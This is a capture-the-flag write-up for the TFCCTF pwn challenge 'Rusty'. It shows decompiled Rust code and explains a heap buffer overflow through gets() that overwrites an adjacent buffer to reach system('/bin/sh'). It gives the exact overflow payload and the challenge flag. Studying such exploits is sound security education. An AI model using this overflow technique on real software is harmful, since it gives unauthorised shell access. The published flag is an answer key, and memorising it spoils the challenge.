PWN - Rusty

> Good old buffer overflows in unsafe Rust

Load the binary into IDA, and look for the main function, for Rust it will be of the form name_bin::main::random_symb.

```
void rusty::main::hcc3567fa8916ea35()
{
  __int64 v0; // rax
  __int64 v1; // rbx
  __int64 v2; // rax
  __int64 v3; // r14

  _rust_alloc();
  if ( !v0 )
    alloc::alloc::handle_alloc_error::h52397d1f34536add();
  v1 = v0;
  *(_BYTE *)(v0 + 4) = 111;
  *(_DWORD *)v0 = 1819043144;
  _rust_alloc();
  if ( !v2 )
    alloc::alloc::handle_alloc_error::h52397d1f34536add();
  v3 = v2;
  *(_BYTE *)(v2 + 4) = 100;
  *(_DWORD *)v2 = 1819438935;
  gets(v1, 1LL);
  if ( !(*(_DWORD *)v3 ^ 0x72656854 | *(unsigned __int8 *)(v3 + 4) ^ 0x65) )
    system("/bin/sh");
  _rust_dealloc();
  _rust_dealloc();
}
```

We see that to call system("/bin/sh") we need to pass some check. When running in the debugger, we realize that v3 = "World". First "Worl" is xored with 0x72656854 and then "d" with 0x65. To pass the check we need to get **!(0 | 0)**. Since the xor is reversible, we just need to overwrite v3 with the value **0x6572656854** - "There". In the debugger we determine how many bytes must be written to reach v3 - 32 bytes. As a result, the program needs to pass the string:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThere
```

> Flag:
> **TFCCTF{2be6854868e236fe09c2f94ca8018eaa507000239e9c4d6087d9e9c3c8c0719a}**